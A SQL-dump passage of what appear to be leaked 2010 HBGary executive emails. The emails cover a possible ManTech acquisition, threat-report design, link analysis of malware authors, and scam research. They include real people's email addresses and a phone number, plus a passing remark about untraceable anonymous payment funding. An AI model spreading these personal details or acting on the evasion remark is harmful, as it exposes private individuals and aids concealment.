we\r\nhave to boost their services business.  They do 30-40 million in\r\nincident response a year currently.  Your tech with their services arm\r\nseems like a good match.\r\n\r\nPenny, do you want to get together before the meeting on tuesday or after?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',1991,'aaron_hbgary_com/1991.html'),(8400,'2010-07-12','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006503.M160310P14101Q3255.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Mantech','I think we could really put ManTech forward by at least two years.  Active Defense would make their existing IR business (measured in double digit millions) at least 200-400% more effective (scaling).  This would give them a significant advantage over their competition, and would free up their IRAD monies earmarked to build what we already bring to the table.  Furthermore, the more &#39;forward edge&#39; discussion that I have been having with Aaron would be welcomed at ManTech, assuming we could work HBGary Federal into the deal (not a requirement BTW, but it will be explored no doubt).  All around, this would be an easy acquisition for them and has huge upside for them.\r\n\r\n \r\nFor us, this is about price.\r\n \r\n-Greg\r\nOn Sun, Jul 11, 2010 at 9:00 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nNot sure how interested you are in selling but I would think Mantechwould be extremely interested given everything you do fits in their\r\nportfolio.  With CSC and bluebird it&#39;s a little more of a stretch orgrowth in new markets.  For Mantech it&#39;s strengthening their existingmarket.  They were actually going to try and build some of what we\r\nhave to boost their services business.  They do 30-40 million inincident response a year currently.  Your tech with their services armseems like a good match.Penny, do you want to get together before the meeting on tuesday or after?\r\nAaronSent from my iPad\r\n',15736,'aaron_hbgary_com/15736.html'),(8401,'2010-07-12','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006503.M420459P14101Q3256.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Mantech','MANTECH\r\n \r\nMarket Cap is 1.52 B\r\n\r\nFor the March 2010 quarter, ManTech International spent 0% of gross profits on R&amp;D and 48.59% on SGA expenses. Revenues rose 30.69% year-over-year to $587.56M. The company is trading at 13.18 times earnings(PE) and 0.70 times revenue(PSR). At the end of March 2010, ManTech International had $5.56M in cash on hand and $108.30M in long-term debt. On 04/28/2010, ManTech International reported net income of $27.54M, with diluted earnings per share of $0.76.\r\n\r\nDoesn&#39;t sound like they have alot of cash on hand, but then again maybe I don&#39;t understand the stats.\r\n-Greg\r\n',6378,'aaron_hbgary_com/6378.html'),(8402,'2010-07-12','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006503.M634368P14101Q3257.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Darkside job board - wow','What a shit job that&#39;s got to be !  Did I read that right, 3 bucks per 1000 ?  Must be good if you live in Nairobi.\r\n \r\n-Greg\r\n2010/7/11 Aaron Barr &lt;aaron@hbgary.com&gt;\r\nhttp://www.freelancejobss.com/data-entry/captcha-work-3-5-per-1k-by-ommavikari.jsp\r\nAaron BarrCEOHBGary Federal Inc.\r\n',14939,'aaron_hbgary_com/14939.html'),(8403,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006503.M875320P14101Q3258.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Mantech','According to Larry they have a good amount of cash in the bank, don\'t know the details.Sent from my iPhoneOn Jul 12, 2010, at 12:55 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:MANTECH\r\n&nbsp;\r\nMarket Cap is 1.52 B\r\n\r\nFor the March 2010 quarter, ManTech International spent 0% of gross profits on R&amp;D and 48.59% on SGA expenses. Revenues rose 30.69% year-over-year to $587.56M. The company is trading at 13.18 times earnings(PE) and 0.70 times revenue(PSR). At the end of March 2010, ManTech International had $5.56M in cash on hand and $108.30M in long-term debt. On 04/28/2010, ManTech International reported net income of $27.54M, with diluted earnings per share of $0.76.\r\n\r\nDoesn\'t sound like they have alot of cash on hand, but then again maybe I don\'t understand the stats.\r\n-Greg\r\n',15921,'aaron_hbgary_com/15921.html'),(8404,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006504.M158900P14101Q3259.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: Mantech','HBGary products would definitely put them over the top as to their SOC, incident response and malware business. They also do a fair bit on offense.Probably unlike most other companies this one will see HBGary fed as something they want, not that we are worth much. &nbsp;Bob and bill know what Ted and I used to do and see us as enablers to a mission area they are building.AaronSent from my iPhoneOn Jul 12, 2010, at 12:47 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:I think we could really put ManTech forward by at least two years.&nbsp; Active Defense would make their existing IR business (measured in double digit millions) at least 200-400% more effective (scaling).&nbsp; This would give them a significant advantage over their competition, and would free up their&nbsp;IRAD monies earmarked to build what we already bring to the table.&nbsp; Furthermore, the more \'forward edge\' discussion that I have been having with Aaron would be welcomed at ManTech, assuming we could work HBGary Federal into the deal (not a requirement BTW, but it will be explored no doubt).&nbsp; All around, this would be an easy acquisition for them and has huge upside for them.\r\n\r\n&nbsp;\r\nFor us, this is about price.\r\n&nbsp;\r\n-Greg\r\nOn Sun, Jul 11, 2010 at 9:00 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nNot sure how interested you are in selling but I would think Mantechwould be extremely interested given everything you do fits in their\r\nportfolio. &nbsp;With CSC and bluebird it\'s a little more of a stretch orgrowth in new markets. &nbsp;For Mantech it\'s strengthening their existingmarket. &nbsp;They were actually going to try and build some of what we\r\nhave to boost their services business. &nbsp;They do 30-40 million inincident response a year currently. &nbsp;Your tech with their services armseems like a good match.Penny, do you want to get together before the meeting on tuesday or after?\r\nAaronSent from my iPad\r\n',238,'aaron_hbgary_com/238.html'),(8405,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006504.M395401P14101Q3260.eml','\"Ted Vera\" <ted@hbgary.com>','This Mobile Payments Company May Self Destruct In 15 Minutes','This Mobile Payments Company May Self Destruct In 15 MinutesC$ cMoney, a mobile payments startup based in Houston, is having quite a week.  On Friday, the company announced an impressive funding round of $100 million from private equity firm AGS Capital Group. In total, cMoney has secured $115 million in funding commitments from AGS and a NY-based firm called Kodiak Capital Group.\r\n\r\nThe latest announcement was picked up by a few news outlets, including the WSJ’s Venture Capital Dispatch which touted cMoney as “a start-up with a funky name [that] has an ambitious plan for replacing consumers’ debit and credit cards with a mobile-payment system.”\r\n\r\nSounds like another promising company in the red-hot mobile payments sector—a market that Nokia, PayPal, and a host of startups like Zong are trying to crack. Except, I don’t buy it. There is too much hype, and too little actual product coming from cmoney.\r\n\r\nThat highly-touted $100 million funding, for instance, turns out not be a venture round at all, but rather an equity line of credit (a lot more on that later).  And the company is being sued by a CEO it recruited.  Read on for a tale of a bizarre reverse merger, promises of million-dollar fees, and a young, 28-year old founder who lists among her accomplishments and  qualifications her childhood sports activities, including “dance, gymnastics, soccer, softball and tennis.”\r\n\r\nWhat is cMoney?\r\nThe company, which launched in March 2009, is developing a mobile application that will let users send or receive money via temporary connections.  According to reports, the application will be linked to a users’ credit cards and accounts. When s/he wants to make a purchase, the user logs-in to the app, submits information on the transaction, punches in a password and retrieves a code. The user will be able to give that code to a cashier for payment and after 15 minutes the code will expire.\r\n\r\nLike many startups, the company’s product is not ready for market, it’s in the “demonstration” phase. However, cMoney has struggled to meet its own deadlines. According to an April press release the launch was scheduled for this summer, then a May SEC filing predicted a fall release, and now, in its latest press release, the company is predicting a 2011 launch.\r\n\r\nBeyond the delays, the structure of the startup itself, is odd: cMoney acquired a company called Bonfire in May 2010 in a reverse merger transaction. According to an S-1 filing, Bonfire had no active operations and was previously a business based on “producing, marketing and selling audio recordings of folk tales, fairy tales and other children’s stories under the brand name ‘Bonfire Tales.’”\r\n\r\nBonfire also disclosed in late March, just before the merger, that it had “no cash and a working capital deficit of $28,845.”\r\n\r\nIn fact, there was only one employee, the director, Tim DeHerrera, who was scheduled to resign after the deal.\r\nUnless cMoney wanted to tap Bonfire’s rich trove of children’s fairytales, why would a mobile payments company purchase a seemingly defunct company with only debt, no synergies and virtually no employees? The only real interest here, seems to be Bonfire’s status as a publicly traded company, trading over the counter as a penny stock (under ticker symbol PINK:BNFR). Reverse mergers are typically done by companies who cannot go public in a more straightforward fashion.\r\n\r\nThe Case Of The Missing CEO \r\nOn May 6, 2010, cMoney named Lawrence Krasner to the position of CEO, Krasner is a fairly seasoned veteran of Wall Street, as a former Senior Vice President of Lehman Brothers, a Senior Manager of Ernst &amp; Young, and a VP of JPMorgan. Sounds like a solid coup for a fledgling startup, except Krasner never spent a single day as cMoney’s CEO, according to the company’s SEC filing. \r\n\r\nInstead, Krasner is building a legal case against the company, suing them for damages in excess of $700,000 and 1,950,000 in fully vested shares of the company’s common stock, according to a filing. I reached out to Krasner on Friday, but he said he could not comment at the time. The company says the claims “are without merit.”\r\n\r\nThe founder of the company, Jennifer Pharris, has assumed the role of CEO and Chairman of cMoney. With the exception of a thin LinkedIn profile and her official bio on cMoney’s website, there’s very little information available on Pharris online. However, that official bio is worth a read— if you can make it through the syntactical quagmire:\r\n\r\nJennifer Lynn Pharris, 27 , is a College Girl who turned to the Corporate World with her quest to save time and money in the new age revolution of instant gratification, she designed a revolutionary product called C$ cMoney !\r\n\r\nJennifer was born in Dallas, Texas lived there for (12) twelve years with her family and was very active child in dance, gymnastics, soccer, softball and tennis winning top awards and always known as a leader.\r\n\r\n\r\nHer high school career outside Memphis, TN graduated her with Top Honors and was recognized as Who’s Who in American High School Students and active member of SADD, FTA, FHA, and DECA and received a scholarship awarded through FTA.\r\n\r\nWhile attending college at Middle Tennessee State University outside of Nashville, TN, she concentrated her degree plan in business, marketing and economics. Jennifer was a Kappa Delta legacy member wherein her mother and grandmother were former members as well. Jennifer was active in her community and various social affairs.\r\n\r\nJennifer while attending college began work on dream concept which was to eliminate the need for Mom and Dad to wire transfer money to her account when she needed money at College, but Jennifer created a better way, just send the money to me on my cell phone. That small step back in college and some (4) four years later has evolved a new company, C$ cMoney and worldwide patents.\r\n\r\nJennifer and her love for Houston moved back home to the Houston Area after college with the one plan in mind which was to follow her dream and build her company.  Jennifer gives all the credit to her relationship with the “Lord” and her active time with her church, Fellowship of The Woodlands which helped her to reach her goal. Jennifer’s goal was to make Houston the New Top Technology City with her new revolutionary product called C$ cMoney !\r\n\r\n\r\nHighlights include the random capitalization of words like “College Girl,” “Mom” and “Corporate World,” and my favorite (for its casual, mid-sentence transition from the third to the first person):\r\nJennifer while attending college began work on dream concept which was to eliminate the need for Mom and Dad to wire transfer money to her account when she needed money at College, but Jennifer created a better way, just send the money to me on my cell phone.\r\n\r\nIn fact there are typos and run-on sentences all over the website, with words like “trough” and “prividing” popping up on the investor relations and FAQ pages. While it is a bit unfair to judge them in this manner, this is supposed to be a startup valued north of $115 million. It’s hard to comprehend how any investor would look at this website and agree to plunk down $100 million— or even a million dollars. Which brings us to that $100 million question.\r\n\r\nWhy did AGS and Kodiak Capital Group invest in cMoney? \r\nAt the time of this post, the firms had not responded to my requests for comment. With no ready-for-market product, six employees, a poorly managed website, a lawsuit from an almost-CEO, and apparently more than $2.5 million in accumulated losses on the books and just $47,831 cash on hand (according to an S-1 May 27th filing), cMoney doesn’t seem like a prime candidate for a $100 million cash infusion.\r\n\r\nThen again, cMoney may not see a lot of that cash after all.\r\nAGS’s funding committment is contingent on several conditions and the structure of the deal itself is bizarre. Under the agreement, cMoney has the right to compel AGS to purchase its common stock shares, to “put” shares to AGS. Depending on the price of the share at the time, AGS will get a discount— for example, cMoney is currently trading at 3 cents a share, AGS would be eligible for a 50% discount to 1.5 cents a share. However, the key part in this agreement, is that cMoney “can not put shares to AGS if such put would cause AGS to own in excess of 4.99% of our outstanding shares of common stock.” In other words, once AGS hits that 4.99% bar, cMoney can no longer compel them to purchase the common stock and with the company currently trading at a market cap of $1.36 million — AGS is only on the hook for maybe a couple hundred thousand dollars. Of course, AGS could elect to buy more shares, but I’m going to make a bold prediction here that the final investment will be laughable compared to the promise of $100 million.\r\n\r\nHere’s the pertinent excerpt from cMoney’s July 7th filing:\r\nOn July 7, 2010, the Corporation has entered into a Reserve Equity Financing Agreement (the “AGS Equity Line of Credit”) and Registration Rights Agreement with AGS Capital Group, LLC. (“AGS”).  Pursuant to the AGS Equity Line of Credit, we have the right to “put” to AGS (the “AGS Put Right”) up to $100 million in shares of our common stock (i.e., we can compel AGS to purchase our common stock at a pre-determined formula) for a purchase price equal to from 50% to 95% of the lowest closing bid price of our common stock during the five consecutive trading days immediately following the date of our notice to AGS of our election to put shares pursuant to the AGS Equity Line of Credit. That percent discount is: 50% if the price of our common stock is less than $0.11 per share, 25% if the price of our common stock is between $0.11 and $0.19, 85% if the price of our common stock is between $0.20 and $0.74 per share, 10% if the price of our common stock is between $0.75 and $0.99 per share, and 5% the price of our common stock is above $1.00 per share.  The maximum dollar value that we will be permitted to put at any one time will be, at our option, either: (a) $100,000 or (b) 250% of the product of the average daily volume in the U.S. market of our common stock for the ten (10) trading days prior to the notice of our put, multiplied by the average of the ten (10) daily closing bid prices immediately preceding the date of the put notice.  However, we must withdraw our put if the lowest closing bid price of our common stock during the five consecutive trading days immediately following the date of our notice to AGS of our election to put shares pursuant to the AGS Equity Line of Credit is less than 98% of the average closing price of our common stock for the ten trading days prior to the date of such notice.  We can not put shares to AGS if such put would cause AGS to own in excess of 4.99% of our outstanding shares of common stock.\r\n\r\nAnd why does a young startup, with such a small staff, need a huge cash infusion? It’s unclear how the money will be used to build the actual mobile application, but at the very least, we know they are spending a large chunk of change on salaries for the executive team. The chief operating officer, chief marketing officer and chief financial officer have a base salary of $250K per year, the chief technology officer is promised $215K.\r\n\r\nMeanwhile, cMoney directly pays Pharris $500 a week, but (and here is where it gets interesting) her other company Global 1— which is not mentioned in her profile—receives $41,543 per year for 5 years of management services. As explained in a recent filing, these “management services are expect to be provided by Ms. Harris.”\r\n\r\nMore significantly, in April of this year, cMoney entered into a “technology license agreement with Global 1 Enterprises, Inc. Under the agreement, C$ cMoney will pay Global 1 $1,500,000 per year for an exclusive and non-transferable license to certain intellectual property included trademarks and patents. Global 1 is owned by Jennifer Pharris.” Thus, to spell it out slowly, Pharris is charging cMoney hefty fees for the rights to license the technology from her other company. It’s hard to estimate what her cut is from this deal, but I imagine it’s a substantial amount (there was no reference online of any other executives at Global 1). For a company that is still bleeding cash, it’s strange for Pharris to charge such a high premium to access technology.\r\n\r\nWho knows, cMoney could have a brillant project underneath the jumble, but at the very least, this strange constellation of facts and questions paints a dubious picture. I have asked several people in the mobile payments space, including those who cover the sector for investment firms, whether they have heard ever of cMoney or AGS— no one said yes.  As always, buyer beware.\r\n\r\n       \r\n\r\n\r\n     \r\nSent from my iPad\r\n',3235,'aaron_hbgary_com/3235.html'),(8406,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006504.M674180P14101Q3261.eml','\"Scott Suhy\" <Scott.Suhy@pointabout.com>','Google App Inventor: Now Anyone Can Create an Android App','On the off chance you didn&#39;t already know about this.Google App Inventor: Now Anyone Can Create an Android App\r\n\r\n\r\nGoogle is launching a new tool on Monday that lets anyone create an app for Android phones.Google App Inventor claims to enable non-coders to develop complete, working Android apps by connecting a series of “blocks”.  Google has been testing App Inventor in schools for a year, reports the NYTimes.  At the time of writing, App Inventor is only available to those who apply via a form.\r\nThe concept is a smart one: Not only is the Android Market an open platform for developers (with no approval process, ala the App Store), but now we’ll likely see a vast array of specialized apps built by non-developers.  This could radically increase the volume of apps in the Market versus the App Store.\r\nThe expansion may of course come at the cost of quality: We’ll see thousands of new Android apps, but will they be of a “cookie cutter” nature, offering very little value?  There is, however, an upside in the long-term: If App Inventor is so simple that schoolchildren can make apps, some those same children will soon become coders themselves … and perhaps choose to develop Android apps rather than iPhone.\r\nGoogle and Apple are currently in a heated battle to win the hearts and minds of developers.  Google, it seems, wants to win over the non-developers too.What do you think?  Is App Inventor a winning play on Google’s part?\r\nReviews: Android, Android Market, App Store, Google, iPhone\r\nMore About: android, Google, google app inventor\r\nFor more Mobile coverage:Follow Mashable Mobile on TwitterBecome a Fan on Facebook\r\nSubscribe to the Mobile channelDownload our free apps for iPhone and iPad\r\n\r\n\r\n\r\n          \r\nSent from my iPad\r\n',8487,'aaron_hbgary_com/8487.html'),(8407,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006505.M3786P14101Q3262.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Fwd: Meeting','Mantech does some interesting things at the enabling/infrastructure level (greg I told you about some of these). &nbsp;They really want to get into my old business and have gone after a few companies to round out their portfolio (finalization to come shortly). &nbsp;But there aren\'t any groups that have experience like My and Teds old group. &nbsp;The words he uses \"support to some of our programs\" gives me hope because its existing work and not work we have to go try and win. &nbsp;More to follow beginning of August. &nbsp;I am going to press Mantech pretty consistently because I know them well and they are pursuing exactly what HBGary and HBGary Federal can enable on many fronts.Bob (my old boss) manages all of Mantechs Langley work.AaronBegin forwarded message:From: \"Frisbie, Robert P\" &lt;Robert.Frisbie@ManTech.com&gt;Date: July 9, 2010 9:30:38 AM EDTTo: &lt;aaron@hbgary.com&gt;Cc: \"Chadason, Mark P\" &lt;Mark.Chadason@ManTech.com&gt;, \"Burnette, Donna M\" &lt;Donna.Burnette@ManTech.com&gt;Subject: MeetingAaron&nbsp;As a follow up to our discussion of Social Media and some of your application work, Mark and I discussed the potential for how it may support some of our programs.&nbsp;We would like to get together in a SCIF with you.&nbsp; Mark is out next week, I’m gone for pieces of the next couple of weeks.&nbsp;Do you have any availability the week of 2 Aug?&nbsp;bob&nbsp;Robert FrisbieSenior Vice PresidentManTech International7799 Leesburg PikeSuite 700 SouthFalls Church, VA 22043703 847-5193&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14609,'aaron_hbgary_com/14609.html'),(8408,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006505.M403618P14101Q3263.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: DHS daily threat report in PDF form','OK some immediate thoughts on the report.  \r\n\r\nFirst what would be some interesting trending data.\r\n\r\nHow do you categorize threats and how would you graphically represent them.\r\n1. Geographical\r\n2. Intent (IP, PII, Bot)\r\n3. Attack Vectors\r\n4. Vehicle updates\r\n5. Size\r\n\r\nI see something like a graph that shows the threats on the left and the characteristics on the top with trending up or down from previous report and comparative to other threats.  On the online version you could click on a value or a threat and get more details on what is trending.  Are bots up overall?  Is PII theft up, etc.\r\n\r\nBelow that would be narrative for each section providing summaries of the activity.\r\n\r\nThoughts?\r\n\r\nAaron\r\n\r\n\r\nThreats trending up or down \r\nOn Jul 11, 2010, at 11:53 AM, Greg Hoglund wrote:\r\n\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12214,'aaron_hbgary_com/12214.html'),(8409,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006505.M685904P14101Q3264.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Some identities to start link analysis','I need a windows box. :( &nbsp;Running all this shit in a VM is just not optimal.On Jul 11, 2010, at 10:45 AM, Greg Hoglund wrote:Here is my link analysis so far on RAT developers.\r\n&nbsp;\r\n-Greg\r\nOn Sun, Jul 11, 2010 at 5:45 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nThis is a great list. &nbsp;I am going to start tracing the guys and see where some might go.Sent from my iPad\r\n\r\n\r\n\r\nOn Jul 10, 2010, at 2:44 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n&nbsp;\r\nAaron,\r\ncheck this out:\r\nhttp://pastebin.de/6648\r\n&nbsp;\r\nlook about half way down to find the emails/usernames of hundreds of criminal undergrounders.&nbsp; This could be a great starter for link analysis.\r\n&nbsp;\r\n-Greg\r\n&lt;RAT_Developers.mtgx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14050,'aaron_hbgary_com/14050.html'),(8410,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006506.M186369P14101Q3265.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Some identities to start link analysis','What about a classification system for sites, individuals, and communications. &nbsp;So turns out there are a lot of sites that support HYIP and Forex scams. &nbsp;Hard in a short bit of time for me to figure them all out, but would be helpful to be able to develop a classification system for important digital artifacts and bucket, then mature capabilities to analyze and determine values for trending.Lots of HYIP and Forex forums have a pay to post/clock topic.AaronOn Jul 11, 2010, at 10:45 AM, Greg Hoglund wrote:Here is my link analysis so far on RAT developers.\r\n&nbsp;\r\n-Greg\r\nOn Sun, Jul 11, 2010 at 5:45 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nThis is a great list. &nbsp;I am going to start tracing the guys and see where some might go.Sent from my iPad\r\n\r\n\r\n\r\nOn Jul 10, 2010, at 2:44 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n&nbsp;\r\nAaron,\r\ncheck this out:\r\nhttp://pastebin.de/6648\r\n&nbsp;\r\nlook about half way down to find the emails/usernames of hundreds of criminal undergrounders.&nbsp; This could be a great starter for link analysis.\r\n&nbsp;\r\n-Greg\r\n&lt;RAT_Developers.mtgx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6,'aaron_hbgary_com/6.html'),(8411,'2010-07-12','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297006506.M822344P14101Q3266.eml','aaron@hbgary.com','AFCEA Offers Hard to Find TEMPEST Training','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n          \r\n          \r\n  701 Introduction to Electromagnetic Compatibility; Aug. 23, Herndon, VA. \r\n  705 Shielded Enclosures; Aug. 24, Herndon, VA. \r\n  706 Shielding Effectiveness Testing;&nbsp; Aug. 25-26, Herndon, VA.\r\n  707 Construction of Electromagnetically Shielded Enclosures; Aug. 27, Herndon, VA.\r\n  760 TEMPEST Threat Management, Classified SECRET, US Citizens Only; Sept. 01-02, Herndon, VA. \r\n  755 TEMPEST Professionals Certification Course; Classified SECRET, US Citizens Only; Sept. 28-Oct 1, Herndon, VA. \r\n  701 Introduction to Electromagnetic Compatibility; Aug. 23, Herndon, VA. \r\n  This course covers the basic concepts and terminology of Electromagnetic Environmental Effects and Electromagnetic Compatibility, along with an overview of current military and civilian practices. It \r\nprovides practical advice on ways to prevent Electromagnetic Interference (EMI) and achieve Electromagnetic Compatibility without technical or administrative \"overkill.\" \r\n  705 Shielded Enclosures; Aug. 24, Herndon VA. \r\n   The objective of this course is to help participants avoid the most common technical and contractual pitfalls that are involved in the acquisition, use, maintenance, and life-cycle management of electromagnetically shielded rooms. This course will help buyers obtain well designed, long lasting shielded rooms quickly and economically. All participants will gain the knowledge necessary to make rational and intelligent management decisions regarding the design, contracting, construction, testing and maintenance of these unique structures.\r\n  \r\n  \r\n  706 Shielding Effectiveness Testing;&nbsp; Aug. 25-26, Herndon VA.\r\n   This course discusses the technical and safety procedures involved in testing shielded rooms. It reviews the most widely used testing standards, along with the advantages and drawbacks of each. Using the shielded room of a working electromagnetic compatibility testing laboratory, it presents practical techniques for locating and eliminating electromagnetic leaks. It provides practical advice on the selection of test equipment, and on its care and protection on a construction site. \r\n  707 Construction of Electromagnetically Shielded Enclosures; Aug. 27, Herndon VA.\r\n   This course examines the unique procedures involved in building shielded rooms. It reviews a typical government testing standard, and provides a basic command of the terminology and concepts used in the shielding industry. \r\nParticipants will gain the ability to properly construct a shielded room under the direction of an experienced foreman or project engineer. \r\n  760 TEMPEST Threat Management;\r\n\r\n\r\n  Classified SECRET, US Citizens Only;\r\n\r\n Sept. 01-02, Herndon, VA. \r\n   This course provides essential background information that is needed by government and military personnel who are involved in controlling the TEMPEST threats against their bases or facilities. It describes the different TEMPEST phenomena, the threats they represent, and the most effective and practical ways to recognize and address these threats. \r\n755 TEMPEST Professionals Certification Course, \r\n\r\n\r\n  Classified SECRET, US Citizens Only; Sept. 28-Oct. 1, Herndon, VA. \r\n   This technical, 4-day course is an intensive preparation for the written part of the government-administered exam for certification as a TEMPEST Professional, Level I or II. This carefully designed and constantly updated course has been presented by AFCEA for more than 20 years. It has repeatedly proven its effectiveness. Personalized instruction is provided on the details of and information in the current national TEMPEST standard. \r\n  Courses offered in July - September:\r\n650 Cyber Security - The Building Block of IT; NEW DATE July 20 - 23.\r\n387 NEW! DIACAP - Certification and Accreditation (C&amp;A) Process; July 20-23.\r\n382 (ISC)2 DoD CAP - Certification and Accreditation Professional; July 27-29.\r\n388 NEW! Advanced Cyber Network Defense Training; July 27-30. \r\n  381 CompTIA Security+ (2008) Edition Certification Course; Aug. 2-5. EXAM on Aug. 6.\r\n  See separate registration and tuition for the exam at&nbsp; Comp TIA Security+ EXAM Registration.\r\n  340 Automated High Frequency Radio; Aug. 31-Sept. 02. \r\n  203 The U.S. Intelligence Community: Who Does What, With What, for What?; Classified SECRET, US Citizens Only; Sept. 13-15. \r\n  360    Implementing IPv6; Sept. 21-24. \r\n  907    The Ultimate Government Market Research Workshop; Sept. 28.  \r\n  906    The Business of Winning: Seven Steps in Government Contracting; Sept. 29-30. \r\n  For discounted tuition:&nbsp; If you are not already an AFCEA member and want to take advantage of reduced tuitions for members and other benefits, please go to AFCEA International - The Armed Forces Communications and Electronics Association to become a member.\r\n  &nbsp;\r\nAll courses will be held in Fairfax, VA unless otherwise noted. \r\n  \r\n    _____________________________________________________________________\r\nFor full course descriptions, fees, instructor bios, and to register, click on the applicable course number.\r\n            \r\n          Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrars, Jill Malinchak or Gloria Kirkland at: 703-631-6137.\r\n\r\n                    \r\n          \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n\r\n	\r\n	  \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n',13554,'aaron_hbgary_com/13554.html'),(8412,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006507.M256468P14101Q3267.eml','\"Greg Hoglund\" <greg@hbgary.com>','site','http://www.dungeons-treasures.com/index.php\r\n\r\nplay online game and get real money?  What is the scam here?  I am guessing there is malware somewhere here.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12142,'aaron_hbgary_com/12142.html'),(8413,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006507.M492122P14101Q3268.eml','\"Greg Hoglund\" <greg@hbgary.com>','E-currency systems','Obviously a significant scam segment.  A key here will be to define how to use the system.  There are legitimate sites out there that allow you to get virtual pre-paid credit cards.  A while back Ted and I found ways to fund those completely anonymously.  Many of those ways have been closed but my guess is there are new ones just have to research the paths.  This allows you to do things on the web and not have it traced back to you.\r\n\r\nCheck out:\r\nhttp://www.money-around-the-world.com\r\nthis site is legit.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6803,'aaron_hbgary_com/6803.html'),(8414,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006507.M760344P14101Q3269.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Click Fraud','Now I get the pay to play, pay to click, pay to post scams.Click fraudThe latest scam to hit the headlines is the multi-million dollar&nbsp;click fraud&nbsp;which occurs when advertising network affiliates force paid views or clicks to ads on their own websites via&nbsp;spyware, the affiliate is then paid a commission on the&nbsp;cost-per-click&nbsp;that was artificially generated. Affiliate programs such as Google\'s&nbsp;Adsense&nbsp;capability pay high commissions that drive the generation of bogus clicks. With paid clicks costing as much as US$100[verification needed]&nbsp;and an online advertising industry worth more than US$10&nbsp;billion, this form of Internet fraud is on the increase.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',2266,'aaron_hbgary_com/2266.html'),(8415,'2010-07-12','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297006508.M383492P14101Q3271.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','QuiBids - Shopping Redefined','Penny auction site i mentioned  \r\n\r\nhttp://www.quibids.com/index.php\r\n',15563,'aaron_hbgary_com/15563.html'),(8416,'2010-07-12','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297006508.M55226P14101Q3270.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: HYIP\'s markets - monetized IP theft','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHoly-shit.  This is exactly what we were talking about.  I want\r\nto see your link analysis data… that is f’n AWESOME.  \r\n\r\n \r\n\r\nCan’t wait to talk with you about this.\r\n\r\n\r\nRC\r\n\r\n \r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Saturday, July 10, 2010 11:51 PM\r\nTo: Rich Cummings; Aaron Barr\r\nSubject: HYIP&#39;s markets - monetized IP theft\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron, Rich,\r\n\r\n\r\n\r\n\r\n\r\n 